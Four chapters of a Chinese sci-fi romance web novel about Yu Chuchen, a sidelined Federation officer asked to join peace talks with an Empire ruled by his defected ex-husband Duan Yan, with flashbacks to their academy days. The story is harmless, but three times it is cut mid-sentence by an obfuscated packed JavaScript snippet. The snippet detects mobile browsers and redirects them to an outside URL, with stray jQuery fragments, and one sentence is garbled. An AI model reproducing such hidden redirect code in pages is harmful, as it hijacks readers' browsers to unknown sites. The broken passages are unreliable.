《前男友叛逃之后》 1. Chapter 1 “帝国猛攻我帕特里克星,联邦将士不畏艰难,英勇退敌,大获全胜。” 喻初晨快步走在军部大楼内,军靴踩在地板上的声音响在耳边,与广播里正在播报的前线战事新闻混杂在一起。 他们什么时候能不在军部大楼里干这些自欺欺人的事? 明明从一开始就被打得节节败退,一下就丢了好几颗星球,现在马上要作为战败国和谈了,还说是英勇退敌。 喻初晨在心底暗暗吐槽了两句,抬头看见身着白色军装的校官菲利克斯朝他走过来。 “喻少将,真是稀客,自从你调到联邦档案局任局长,想在军部大楼见你一面,可比你以前在地方驻军的时候还要难呢。”菲利克斯在喻初晨前方不远站定,笑着朝对方打招呼。 菲利克斯说话间,不忘偷偷打量了喻初晨一番,目光停留在对方的脸上。 他没记错的话,喻初晨以前可是闻名全联邦的大美人,一头漂亮的银白色头发与一双迷人的紫眸,加上那张每次看见都忍不住多看两眼的脸,若非喻初晨实力确实惊人,否则怕是有不少人都要打他的主意。 喻初晨又不是傻子,落在身上的目光是友善的还是恶意的,他还是分得清的。 他脸上的笑容瞬间淡了几分,敷衍道:“不来军部才说明我清闲,一点任务都没有。” 说到这里,喻初晨的神色难免又冷了几分。 都坐冷板凳了,当然很少来军部大楼了,连档案局自己的事情都跟他无关呢,每天只需要坐在办公室里玩光脑就行了。 “哦哦,那也是啊。但是今天怎么到军部来了?是军部给你发布新任务了吗?”菲利克斯听了喻初晨的话,忍不住打听起来。 “军部常务委员会下的传召命令,我也不知道是什么机密呢。”喻初晨脸上带着得体的微笑,语气间却多少带了几分阴阳怪气。 “是我多嘴了,你快去吧。”菲利克斯听见这话,做了一个捂嘴的动作,往旁边退开两步,给喻初晨让开路来。 喻初晨也不客气,见菲利克斯让开路,朝他打了个招呼,便往前走去。 军部常务委员会的通知,是让喻初晨到三号会议室来。 他记得三号会议室在五楼最角落的位置,是一间很小的会议室,只适合两个人之间的小会,或是军部抓到的嫌疑人在移交联邦警务局之前,在这里进行一些必要的询问环节。 喻初晨推开会议室的门,会议室内如同他记忆中那般,四面墙包裹着一张桌子和两把椅子,没有别的变化。 只不过,令他惊讶的是,今日坐在会议室内等着他的人,竟会是仇文大将。 喻初晨脚步微顿,他警惕地看着眼前的仇文,浑身紧绷着,像是一直随时跳起来咬人的猫。 但他还是没有忘记,眼前这个人是军衔远远高于自己的大将仇文。 他动作僵硬地敬了个礼,站在原地没有动。 “放轻松,初晨。”仇文笑着抬起手,往下压了压,做了个放松的手势。 仇文是军部常务委员会的首席,可以说是联邦军部的一把手。 军部一把手亲自下达任务,换做任何人都会欣喜若狂,但喻初晨是因为段言的叛逃,已经坐了三年冷板凳的军部弃子。 如今仇文来找喻初晨,这其中缘由才更加令人深思,也更加让喻初晨警惕。 “过来坐。” 仇文又一次出声,他的姿态看得出来是很放松的,说话的语调也像是平常闲聊天。 似是发现喻初晨仍旧没有放松警惕,方才有些好笑地说:“找你来不是什么大事,别紧张。” 喻初晨没接话,只是沉着脸上前,拉开椅子坐下,没去看仇文的眼睛。 “你是聪明人,应该已经猜到了。”仇文脸上挂着得体的笑容,略顿了顿,推了一下金丝眼镜,露出为难的表情,“联邦在战场上是节节败退,凡是与帝国军队正面碰上,就没有赢过。我们军部也是为了避免民众恐慌,这才选择将实情隐瞒。” “理解,军部也有自己的考量。”喻初晨垂眸掩去眼底情绪,并没有对此事发表什么意见。 仇文看着眼前的喻初晨,观察着对方的反应,沉默了一会儿。 他叹了口气,说:“你以前不是这样的,现在看着像一朵颓败的花。” 喻初晨终于抬眸看向仇文,紫眸中带了几分嫌弃,说话语气却并不明显,只平静地表述:“呃,仇文大将,你还挺有浪漫主义气息的。” 仇文被噎了一下,他以前没有单独与喻初晨接触过,为了军务必须见上面的时候,段言几乎都在。 这种阴阳怪气别人的事情,以前都是段言在做的,喻初晨只需要安安静静站在段言身边,偶尔劝上两句。 两个人一唱一和的,一个扮恶人一个装好人。 这段言走了三年,喻初晨也愈发沉默,倒是让仇文忘记他们以前是什么德性了。 仇文没打算继续这个话题。 “帝国的实际掌权人是谁你知道吗?”仇文没有立刻提起段言,而是循序渐进地问。 喻初晨摇了摇头,自从那个人叛逃,这三年里他一直在刻意回避有关帝国的一切消息。 “是段言。”仇文观察着喻初晨的神情,说出了这个名字。 喻初晨微微瞪大眼。 这个答案,是他没想到的。 当初段言叛逃的时候,喻初晨以为段言到帝国之后,就是做一个普通的皇子,享尽皇室的好处,又不必像在联邦的时候那样与心怀鬼胎的各个党派勾心斗角。 以喻初晨对帝国的了解,像段言这样半路被找回去的皇子,说来可有可无,派系之争波及不到他,其他人也没必要拉拢他。 这样的安逸,与在联邦的时候不同,所以段言才毅然决然放弃他们在联邦拥有的一切,包括他。 喻初晨这三年来都是这样想的,可现实似乎与他想的并不一样。 “我们的想法呢,你应该也猜到了。”仇文没管神情呆滞的喻初晨,只继续往下说,“联邦要为自己的民众考虑,我们还是想要和平,所以联邦常务委员会的决定是……组织谈判团到帝国去,和谈。” 说到这里,仇文推了一下金丝眼镜,深深看了喻初晨一眼,正要继续往下说。 但喻初晨已经猜到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547384|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇文的意思,他打断仇文的话,直接问:“你们想让我进谈判团?” 仇文赞赏地看着喻初晨,说:“你还是这么聪明,如果不是那件事,帝国未必能把联邦逼到如此地步。” 喻初晨不想谈及旧事,他别开脸去,语气不善地说:“仇文大将,世界上没有如果。” 仇文见状,也明白这般直接提起旧事是行不通的,便转而说起谈判团的事来。 现在喻初晨没有立刻反对加入谈判团,那就是还有机会争取。 “我知道你不愿意见他,但有些事你不清楚,我们的情报部门却是每天都看得清楚的。” 仇文略顿了顿,观察着喻初晨的神情,见他没有打断自己说话的意思,便继续往下说。 “段言到了帝国之后,是完全变了一个人,对谁都凶神恶煞的,做的尽是些暴虐残杀之事。你也很清楚,帝国的派系之争那么严重,又有极其古老的封建规矩压抑着整个帝国,他若不是大开杀戒又怎么能掌握帝国的大权呢?” 喻初晨的神情略有松动,但是并不明显。 可只是这样细微的变化,也被仇文捕捉到了。 “他那么恨联邦,对谈判团肯定没有好脸色。” 仇文双手搭在桌上,略微拉近与喻初晨的距离。 “喻少将,你作为联邦的子民,军部的少将,肯定元姨为了脸啊把那个牺牲吧?” 喻初晨低垂着脑袋,他因为仇文提起段言而变得颓然。 他没有回答仇文的问题,他知道仇文想让自己加入谈判团,但他仍在挣扎。 仇文也没有在意喻初晨的沉默,他看得出来,喻初晨的态度有所松动,便继续说:“大家都知道,你和段言曾经有婚姻关系,你们关系如何呢?” 说起这个问题,喻初晨终于抬起头,自嘲地笑笑,对仇文说:“这件事,军部不应该很清楚吗?” 仇文抬起双手做了个投降的动作,语气变得缓和,安抚说:“你不要这么紧张,我是站在你这边的。否则,你一个跟帝国皇子谈过恋爱的军官,早已经被送上军事法庭了,是我力保你的。” 喻初晨没接话,他明白仇文的意思,但他既不想见段言,也不想把这些旧事翻出来。 仇文没有停下来,他知道喻初晨不想听,但明白对方这般态度,其实就是有所松动。 “你们从就读联邦军校的时候就是舍友,从十六岁的时候就是挚友,嗯……算下来是十五年前的事情了。”仇文露出怀念的表情,即便这些回忆应当是属于喻初晨和段言的,不是他仇文。 可喻初晨的神情,恰恰说明仇文的这番话,对他来说是有触动的。 喻初晨神情变得有些恍惚,他呆呆地看着自己搭在洁白桌面上的手,看着无名指上的一圈指痕。 这里曾经戴过戒指。 十五年了…… 段言。 “段言。” 军校宿舍内,段言穿着洗得发白的白色卫衣,微长的黑发搭在卫衣上格外显眼,一双红色眼瞳盯着眼前的喻初晨,目光带了几分探究,故作平静地做着自我介绍。 “请多指教。” 2. Chapter 2 彼时只有十六岁的喻初晨还只是个刚刚步入军校的少年,他初遇自己的新舍友,心中自然是好奇又兴奋。 “你好,我叫喻初晨,请多指教。” 喻初晨的语气带了几分好奇与兴奋,忍不住探究地看着对方。 各种打完招呼之后,便是分配房间的问题了。 联邦军校的宿舍都是两室一厅,四个人住在里边,两人分得一间卧室。 “房间你有什么打算吗?”喻初晨看向段言,比起赌后面来的其他舍友,他其实是更想跟段言住一间的,好歹人已经见到了。 “我们住一间?”段言没有绕弯子,他的考虑跟喻初晨不谋而合,都不想赌后面来的其他舍友。 “那真是太好了。”喻初晨有些高兴,他还是第一次住宿,当然是非常愿意跟一个第一印象还不错的舍友住在一起。 得到了段言的答案,喻初晨率先将行李提到房间里去。 联邦军校的条件还是不错的,宿舍环境非常好。 整套两室一厅的大小不提,单单是每一间卧室都蛮大的。 原本喻初晨还以为,都是军校宿舍了,外边看着怎么两室一厅,那卧室里面的空间肯定有限,说不定是两张床并排着的。 结果进去一看,两个人的床各自分布在一边,不会靠得太近,有一定的距离感,瞧着就舒服。 但是…… 联邦军校为了培养学生们在没有机器人时的动手能力,避免在人工智能不能使用的时候,学生变成废柴一个。 所以在军校就读期间,不允许任何机器人进宿舍,无论是家务还是其他什么琐事,都得学生自己做。 要知道,在星际时代,机器人的普及程度已经超乎想象。 家家户户几乎都离不开机器人,大部分人从出生开始就没做过家务。 刚好,喻初晨就不太擅长。 比如铺床这种很小的事,他就有些手忙脚乱。 倒也不是不能做,就是做得不太雅观。 喻初晨看着自己乱七八糟的床,顿时有些头疼。 一方面是觉得自己在新舍友面前丢了面子,一方面是对眼前的困难感到苦恼。 不过好在移动光脑是允许带的,喻初晨准备在网络上搜索看看,这种事有没有什么小窍门。 “需要帮忙吗?” 不等喻初晨把攻略搜索出来,便听见身后传来了段言的声音。 他顿时打心底生出几分窘迫来,不好意思地摸摸鼻子,回过身看向段言。 “嗯,我……我没弄过,有些弄不太好。”喻初晨越说越小声,手仍旧搭在自己的鼻子上,试图以遮住半边脸来假装不尴尬。 “人也不是一生下来就很会做这些事的,在星际时代,不会才是正常的。”段言嘴上说着这些话,身体已经动了起来。 只见段言先把喻初晨的被子提了起来,放到一旁的椅子上,随后又把原本塞得乱七八糟的床单拽出来,用力一抖将床单甩开。 “你刚刚铺反了,这个方向才对。”段言一边帮忙,一边给喻初晨讲解。 “原来是这样,我说怎么不对劲。”喻初晨恍然大悟地点点头。 到了这会儿,喻初晨那点尴尬已经消失无踪,只剩下对段言的感激。 待段言帮着他把一切都收拾好之后,他也十分坦荡地感谢了对方一番,丝毫不记得刚开始的尴尬。 “不过,你怎么会这么古老的技能的?”喻初晨有些好奇,他甚至想过会不会是提前得知了联邦军校的情况,这才特意先学了。 “我是孤儿院长大的,所在的星球也很穷,没什么资金给孤儿院配备太多机器人。”段言说话的语气稀松平常,仿佛只是在说今晚吃什么。 喻初晨顿时有些后悔,他没想到段言竟然是在孤儿院长大的。 早知道就不提这茬了。 死脑子快想啊。 有没有什么办法能丝滑把话题转移到别的地方去。 喻初晨的窘迫太过明显,段言想看不出来都难。 “你不用有压力,只是出生的那张床不一样而已,没什么大不了的。”段言朝喻初晨笑笑,宽慰对方。 “好哈哈,还是不说这个了。”喻初晨笑了两声,说话间看了段言一眼。 说实话,段言看着这么阳光开朗的,要不是刚刚说起他是孤儿院长大的,凭喻初晨自己肯定是看不出来的。 既然想好了要转移话题,喻初晨也不再在原地停留,而是在房间内四处走了走,打量着他们即将长期居住的宿舍。 “说起来,你有没有觉得宿舍分配得太早了?大家入学的时候都是十六岁,但第二性别是在十八岁才分化呢,要是Alpha和Omega刚好在一个宿舍怎么办?” 喻初晨走了一圈,忽然想到第二性别的问题。 他就近拉了把椅子坐下,看向仍旧站着的段言。 段言想是反应过来,喻初晨没事做,打算跟他聊天,便也拉了把椅子在对方身旁坐下。 “你说,到时候会重新分配宿舍吗?”喻初晨没等段言回答,便又问了一个问题。 “不会的。”段言摇摇头,想到新闻中那些联邦政客的嘴脸,嗤笑一声,语气变得阴阳怪气的,“第二性别分化成Alpha和Omega的人实在太少了,联邦为了提高Alpha和Omega的分化概率,巴不得Alpha和Omega在宿舍里直接终身标记,再生几个很大概率会分化成Alpha或Omega的孩子。” 说得也是,Beta和Beta之间生出Alpha和Omega概率还是太低了。 不过,指望学生分化后冲动标记,那是不是有点太变态了。 喻初晨在心里暗暗吐槽着,并没有注意到段言的变化。 段言说完这番话,当即就后悔了。 以后还要相处四年呢,第一天见面就在这儿说联邦的坏话。 万一给人家留下一个不好的印象呢? “你好敢说啊。”喻初晨在心底吐槽完,想起忘记回应段言,当即凑过去拍拍对方的肩膀,笑着说了这话。 “你……”段言想问你是不是介意,还没说出口就看见喻初晨挤眉弄眼,露出神秘兮兮的表情。 “出去了可不能说这些话,别让哪些大人听见了,一个不痛快把你当成帝国间谍抓起来了。”喻初晨压低声音,收起笑容,摆出一副严肃的模样。 喻初晨这副模样,弄得段言也紧张了起来。 二人就这样满脸严肃地对视了一会儿,随后二人同时噗嗤一声笑了出来。 “好了好了,不开玩笑了。”喻初晨摆摆手,掏出自己的移动光脑,看向身旁的段言,“快,我们把联系方式加上。” “好。”段言也掏出自己的移动光脑,点开添加好友的界面,把移动光脑挪过去扫了喻初晨的身份码。 二人加上好友之后,瞧着时间差不多了,便也没有再多待,而是勾肩搭背地离开宿舍,准备去食堂逛逛。 路上,喻初晨突然想起分班的事情,对段言说:“你听说了没有?联邦军校说会按照入学考核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547385|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况分班呢。” 段言点点头,微微一皱眉,之后才看向喻初晨,笑着说:“听说过,但入学考核的成绩在公布之前都是保密的,也不知道我们能不能分到一个班上。” 说起这个,喻初晨也开始担心了,生怕刚认识的新朋友跟自己不在一个班上。 这份焦虑一直持续到了在食堂吃完饭,填饱了肚子,喻初晨才将情绪抛之脑后。 之后回到宿舍,喻初晨更是没机会去想这个。 因为他们的另外两个舍友也到宿舍了。 “叫我尤里就好了,全名太长了哈哈。” “我姓邵,单名一个星,你们可以叫我小邵。” 新来的这两个舍友,一个叫尤里,有着奶金色头发和蓝眼睛,仔细看似乎比段言矮一些,目测有190左右,瞧着大大咧咧的,应当跟段言一样是个阳光开朗的。 一个叫邵星,黑头发黑眼睛,五官是给人感觉是比较柔和的,不像段言看着就很有攻击性,身高目测是180左右,瞧着很好说话。 喻初晨暗暗观察了新舍友一番,和段言一起向他们做了自我介绍,互相认识了之后,便各自回房间休息。 大约过了两天,等到所有新生都搬进宿舍之后,联邦军校才把分班的结果公布出来。 同样也是用非常古老的方式,在星际时代的今天,联邦军校公布分班结果和入学考核成绩的方式,竟然是在军校行政大楼前方空地的公告栏上,贴上纸质名单。 天老爷啊,他们是从哪里找来这么古老的东西的!这都已经电子化多少年了! 喻初晨震惊地看着眼前的纸质名单,心底暗暗吐槽了两句。 “我们都在一个班耶!” 尤里的嗓门很大,在场所有人都听见了他的声音。 喻初晨转过头,生怕段言被人群挤丢了,拉上他赶紧往尤里所在的地方挤过去,嘴里喊着:“在哪,我看看!” 段言看着喻初晨的背影直笑,伸手帮忙拨开差点碰着喻初晨的其他人,并没有多话。 喻初晨和段言好不容易挤到尤里和邵星站着的位置,挤得是满头大汗。 果然是在一个班。 喻初晨抬头看着眼前的名单,看向上边的一号班级四个字。 联邦军校的学制是这样的,前两年是不会细分军种的,只会将所有知识与技能都教给学生,进行一个综合性的训练。 等到综合训练两年之后,再由各个学生的综合成绩做出细分,由军校决定将学生分配到哪一个专业去。 “我们是并列的耶。”喻初晨的目光移到成绩单上,忽然发现自己和段言的成绩是一样的,惊喜地喊。 “太巧了,我们是并列第一,又是一个宿舍的。”段言也很高兴,他隐隐能感觉到,自己和喻初晨是有一种难以言明的缘分在的。 周围的其他学生听见段言的话,纷纷挤过来看二人的成绩。 “来的路上就听说有两个并列第一的大神,原来就是你们啊!” “这么好的成绩,十年内的入学考核还没有比你们更有天赋的学生呢!” “这种天才出一个就很稀奇了,竟然一次出现两个呢!” 众人簇拥之中,喻初晨和段言下意识看向对方,耳边是众人的议论。 他们都说,喻初晨和段言是两颗不可多得的新星。 “你们就读联邦军校的时候就已经名扬四方,被称作联邦的一对新星。” 仇文抬起手,推了一下金丝眼镜,目光停留在眼前低着头的喻初晨身上。 3. Chapter 3 喻初晨听见这些话,怎么可能毫无反应呢。 他又一次抬眸看向仇文,直视着对方藏在金丝眼镜后面的眼眸。 用不着仇文提醒,从前的事情,喻初晨记得比谁都清楚。 联邦军界青黄不接,政治场上的尔虞我诈与高层的臃肿。 种种现状让民众对联邦政府失去信心。 最直观体现出来的,就是军部选拔的问题。 因为严格来说,入学之后才公布的军校入学考核成绩是有失公平的。 民众的冒头第一个指向的就是军部,他们开始质疑军部选拔、培养人才是否公平。 阶级固化带来的矛盾在这个时候爆发,联邦政府渐渐压制不住舆论,所有人的情绪都是过激的,极端人士越来越多。 这其中当然也有帝国派来的间谍浑水摸鱼,有没能上位进入联邦常务委员会的政客对舆论的操控,希望能够重新洗牌。 但总的来说,联邦的行事就是让民众对他们愈发失望。 也就是在这个时候,段言和喻初晨这对新星横空出世。 以优异得无可指摘的成绩考入联邦军校,还都是草根出身。 一个是孤儿院长大的,一个是普通职工家庭的孩子。 他们的出现,缓和了民众对军部的极大不满,也因此让他们进入了大众的视野中,说是一举一动都在全联邦的注视之下也不为过。 “后来,你们屡立战功,成了联邦最年轻的少将。” 仇文说到这里,略一停顿,做出轻松的样子,朝着喻初晨笑了笑。 “你们被称作联邦双子星。” 喻初晨不想接仇文的话,他很不愿意提起往事。 其实仇文肯定也知道,但仇文一直在提。 “你们一起成为联邦最年轻的少将。” 说到这里,仇文看向喻初晨的无名指,那里曾经戴着一枚婚戒。 他转变策略,转而拿段言和喻初晨之间的感情来说事。 “一般来说,像你这样强势的Omega都会选择独身一人,不愿意让Alpha标记自己,唯恐因为标记影响自己的身体状态。” 仇文略顿了顿,观察着喻初晨的神情,见他微微皱起眉,露出不愿听下去的表情,明白自己说这些是选对了。 “可你和他相爱,和他结婚,选择被他彻底标记,你……”仇文看着喻初晨渐渐发抖的手,微笑着说出这些话。 “不要再说了!”喻初晨猛地打断仇文的话,他能感觉到自己的情绪有些失控,身体的发抖又伴随着明显的窒息感,缺氧的感觉让他的大脑仿佛蒙上一层雾。 “初晨,我无意揭开你的伤疤。军部只是考虑到你和段言曾经有过婚姻关系,想从中寻找谈判上的突破口。”仇文的笑容带上几分恰到好处的歉意,但因为过于的恰到好处,倒是显得有些虚假。 “我和他已经决裂,联邦的结婚证对帝国皇子没有半点作用。至于你说的标记,早在三年前就被我洗掉了,你们找我去帝国谈判,只会激怒他。”喻初晨说完,不愿意在这间会议室久留,直接站起来往外走去。 “愤怒才代表他在乎你,不是吗?”仇文见喻初晨要走,立刻站了起来,盯着喻初晨的背影说出这番话。 这句话如同魔咒一般闯入喻初晨的耳中,他背对着仇文,微微瞪大眼。 喻初晨看着眼前的处分决定,满脸震惊地念了出来:“联邦军校二年级学生段言,因殴打同学,扣除10积分。” 这是喻初晨和段言在军校生涯中的第二年。 那天正好休假,喻初晨想找段言一块儿出门,可一大早就找不见段言的人。 他隐隐觉得不对劲,发消息给段言也没回,通讯也接不上,心中着急之下,便拉着尤里和邵星一块儿去找。 结果宿舍里没有,图书馆没有,机甲练习室也没有,哪里都见不着段言的人影。 喻初晨连食堂都想去找一遍,路过行政大楼的时候,却看见公告栏上边多了一张处分通告。 他隐隐有种预感,虽然知道现在当务之急是去找段言,但还是凑上前去看了一眼。 就是看了这一眼,喻初晨看见了段言的名字。 “不对吧,他怎么会打人呢?他平时从来不惹事,是不是有什么误会啊。”喻初晨盯着眼前的处分决定,不敢相信地摇摇头,喃喃道。 “这个……”尤里抓抓自己的头发,有些尴尬地别开眼,不知道怎么回答喻初晨的问题。 “你别。”邵星暗道不好,赶忙拽了拽尤里的衣角,示意他别出声。 但只是这样的反应,已经足够让喻初晨怀疑了。 尤里和邵星说不定知道什么。 喻初晨心中有了这个猜测。 “你们是不是知道什么?究竟怎么回事?他到底去哪里了?”喻初晨转身看向尤里和邵星,将一连串的问题抛向了他们。 “他……他去哪了,啊,我也想知道呢。”尤里不敢看喻初晨,四处张望着,装傻充愣起来。 “初晨,你知道的,段言一向跟你关系比较亲近,有事肯定也先告诉你呀。”邵星的反应比起尤里倒还算说得过去,但总归还是在撒谎,多少有些不自然。 喻初晨一眼就看出来了,这二人肯定知道些什么。 “你们都知道,但你们不会说的。”喻初晨没有再问尤里和邵星,而是拿出移动光脑,继续给段言发信息,嘴上说着,“我去其他地方再找找。” 发完消息之后,喻初晨收起移动光脑,绕开尤里和邵星,往没找过的其他方向走去。 尤里看着喻初晨的模样,叹了口气,叫住他说:“别找了。” 喻初晨停住脚步,回头看向尤里,静静地看着对方。 他没有追问,等着尤里后边的话。 “他为了补积分,领了任务到塞尔吉奥星去维修能源采集机器人了。”尤里没再隐瞒,说起话来也变得轻松了不少。 “段言他不让我们……”邵星见状,有些慌张地抓住尤里的手腕。 话说到一半,邵星无意间与喻初晨目光相触,把到了嘴边的话咽了回去,没有再说什么。 喻初晨算是听明白了,段言打架被处分了,为了把扣掉的积分补上,领了任务到塞尔吉奥星去维修能源采集机器人。 但是问题又来了,段言是什么时候去的?又是为什么打架? “他是今天早上去的吗?只是为了补积分,为什么瞒着我?”喻初晨说话的语气带上几分自己都没察觉的委屈。 喻初晨其实也没觉得不高兴,他只是觉得有些挫败。 他一直觉得自己是段言最好的朋友,可这样的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547386|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事段言都瞒着他。 这样一来,就像是他被段言排除在外了。 尤里和邵星听见喻初晨问起这个,又开始支支吾吾起来。 “这……没什么吧,就是打架哈哈,可能觉得被处分了丢人吧。”尤里笑得尴尬,极力让自己变得自然一些,却好像还是没有什么可信度。 “应该是早上去的,我也不知道呢,今天就没看见他。”邵星也不敢告诉喻初晨实情,尴尬地笑了笑。 “没看见他?他不是让你们瞒着我吗?难道是昨天说的?”喻初晨挑眉,当场戳破邵星的谎言。 邵星一怔,尴尬地别过头去,没敢看喻初晨。 尤里以为逃过一劫,却见喻初晨朝他看来。 “段言不是个惹事的人,也不是无法坦然面对处分的人,一定是他不让你告诉我实情的吧?”喻初晨看着尤里,直接把自己的猜测说出来。 尤里也不知道怎么回答,和邵星一样别开眼去,没敢看喻初晨。 “他是不是担心我拦着他,所以不管是打架还是去做任务都瞒着我?”喻初晨把心底那点挫败表达了出来,他看看尤里,又看看邵星,想知道是不是真的如自己所想。 “不是的……”邵星看着喻初晨的样子,一时间有些不忍,还是选择说出实话,“藤原翔太说你坏话,让段言听见了,就把他打了一顿。” “他说了什么?”喻初晨当即觉得不对,段言不是冲动的人,如果只是寻常说几句坏话,根本没必要到动手的程度。 “他……”邵星有些说不出口,求救一般看向身旁的尤里。 “藤原翔太就是不爽你们压他一头,但段言看着太不好惹了,他就挑了你来编排。说你和段言住在一起,说不定私下总是干一些见不得人的事,所以段言才帮你搞小动作,在成绩上造假。”尤里见邵星都把实情说出来了,便也不再隐瞒,直接将藤原翔太都说了什么告诉喻初晨。 其实事情是昨天才刚刚发生的,所以才没有那么快传到喻初晨耳朵里。 “那个喻初晨长得跟个小白脸似的,怎么可能总是拿第一啊!肯定是私底下搞了什么小动作啦!” 藤原翔太靠在走廊的墙上,脸上带着讥讽的笑,对身旁的同学说着。 “不会吧,我看他机甲战斗课程的成绩不像是假的。”跟藤原翔太说话的那名同学听了,露出不相信的表情。 “怎么不是假的啊!他成天跟那个段言黏在一起,两个人又住一个屋,肯定是私底下把段言伺候好了,才总是帮他搞假成绩呢!”藤原翔太挤眉弄眼地说着,笑容愈发猥琐。 “这么说不太……”那名同学眉头一皱,对藤原翔太的说法有些不赞同。 不等这名同学把话说完,段言不知从哪里冲了出来,狠狠往藤原翔太头上砸了一拳。 一切只发生在一瞬间,在周围人反应过来的时候,段言已经按着藤原翔太的头往墙上撞了好几下。 不等其他人上前阻止,他又一把将藤原翔太掼到地上,重重的一脚踩到藤原翔太身上,全然没搭理对方的惨叫,只顾着用力又踩了几脚。 “段言!我要告你!” 喻初晨消化了一下尤里的这些话,等了一会儿才收起脸上震惊的表情,扔下一句话,转身直接往军校大门的方向走去。 “我去找他。” 4. Chapter 4 喻初晨从邵星口中得知段言在塞尔吉奥星的具体位置,便立刻离开军校准备前往。 联邦军校并不在首都星伊兹拉西亚星上,而是选在了加布里埃尔星。 塞尔吉奥星就是距离加布里埃尔星最近的一颗能源星,想来段言接下这个任务的时候,已经考虑到了往返时间的问题。 往返时间短,那快速做完任务回来,说不定喻初晨还没发现。 段言也赌尤里和邵星能多瞒一会,赌喻初晨不知道他的具体位置,也赌喻初晨即便知道了也没办法立刻来找他。 即便星际时代交通便利,星球之间都有星际快线作为连接,但星际快线是定时定点的,就像古老蓝星时代的公交车一样,但时间间隔会长很多。 如果喻初晨没赶上这一班,下一班就不知道要等到什么时候了。 不过,或许是老天爷也在帮喻初晨。 在喻初晨到达星际快线站点的时候,刚好在最后一秒踩着点进入飞船内。 舱门在喻初晨背后关上,他松了口气。 还好赶上了,否则下一班不知道要等多久。 喻初晨转头朝着屏幕上扫了一下脸,交上星际快线的票钱之后,随便找了个位置坐下。 随后,他拿出移动光脑,看了看邵星给自己发的那个位置,稍微熟悉了一下。 从加布里埃尔星到塞尔吉奥星的时间不长,喻初晨乘坐星际快线,只用了一个小时就到了塞尔吉奥星的星际快线站点。 塞尔吉奥星,113号能源矿场。 矿区之内仿佛是没有开发过的荒地,只是地上石头的颜色显得与非能源星十分不同。 星际时代的矿区也完全不需要人工采集能源,而是全部采用了人工智能,只是需要一定的维修员参与到人工智能的检修监测之中。 段言手持移动光脑,周围分散遍布着不少能源机器人,他正一个个靠近,记录他们的工作情况。 他需要挑拣出其中有问题的,在检修记录中特别标记出来,稍后会有更加专业的维修员到场做出调整。 就差这一片了,检修完这些能源机器人就能回去了。 段言的目光扫过眼前这些能源机器人,心中暗暗记着数。 也不知道喻初晨察觉了没有,邵星和尤里又能在喻初晨的追问下坚持多久。 段言对两个舍友的抗压能力难免有些担心,再加上移动光脑现在根本收不到消息,未知带来的焦虑也让他更加烦躁。 联邦的所有能源矿场,只要进到里面,就是一点消息都收不到,通讯更是全部都拦截在外。 段言想到这一点,眉头更加紧皱。 让喻初晨知道实情已经不是目前最担心的事情了,现在他担心喻初晨察觉后会找他。 如果喻初晨找不到他…… “段言!” 正当段言这样想着,他听见了喻初晨的声音。 在喻初晨的记忆中,那天的段言就是这样捧着移动光脑,臭着脸不知在想什么。 于是他喊出段言的名字,瞬间看见对方转过头来,那张满是错愕的脸,十几年后的他依旧记忆清晰。 喻初晨没有停下脚步,朝着段言跑了过去,一把抱住他。 段言仍旧是震惊不已,他的手停留在即将触碰到喻初晨的位置,迟疑着不敢触碰。 他强压下心底的震惊,让自己放松下来,轻轻将手搭在喻初晨的身上。 “你怎么来了?”段言尽量让自己显得不那么心虚,毕竟瞒着喻初晨打了人,还偷偷跑来补积分。 “当然是来找你的。”喻初晨说话间,松开段言,拍了一下对方的肩膀,没好气地说,“有人说我坏话,你怎么不告诉我!” 段言想说什么,却见喻初晨没有停下来让他插嘴的打算。 “一个人就跑去把那孙子打了,还因此背了处分,多不划算啊!”喻初晨的语气满是不赞同,又有些心疼地看着段言,叹了口气,“联邦军校的积分可都是靠平时分和实践任务攒起来的,被扣一次可不好挣回来呢。” “这些能源机器人是次品,容易爆炸,一次任务就能把积分补上了。”段言迟疑片刻,还是实话实说。 “容易爆炸!”喻初晨被段言这番话吓得够呛,拉着他赶紧离能源机器人远一些,更加不赞同地说,“打这种人一顿太亏了。” “他太猖狂了,在走廊里,当着我的面呢,都敢肆无忌惮编排我们两个。”段言话语间带上几分怒意,红色的眼睛因愤怒而微微瞪大,神情都变得严肃起来。 喻初晨也觉得藤原翔太的所作所为太过猖狂了,但是他又心疼段言因为教训这种人,导致吃了处分,还得费劲巴拉去补积分。 如果有更好的办法就好了…… 忽然,喻初晨灵光一闪,猛地转头看向段言,问:“我记得你的移动光脑是随身携带的吧,录下来了吗?” 段言没跟上喻初晨的思路,一时间没反应过来喻初晨究竟在说什么。 他愣了一下,迷茫地看着喻初晨,问:“什么?” 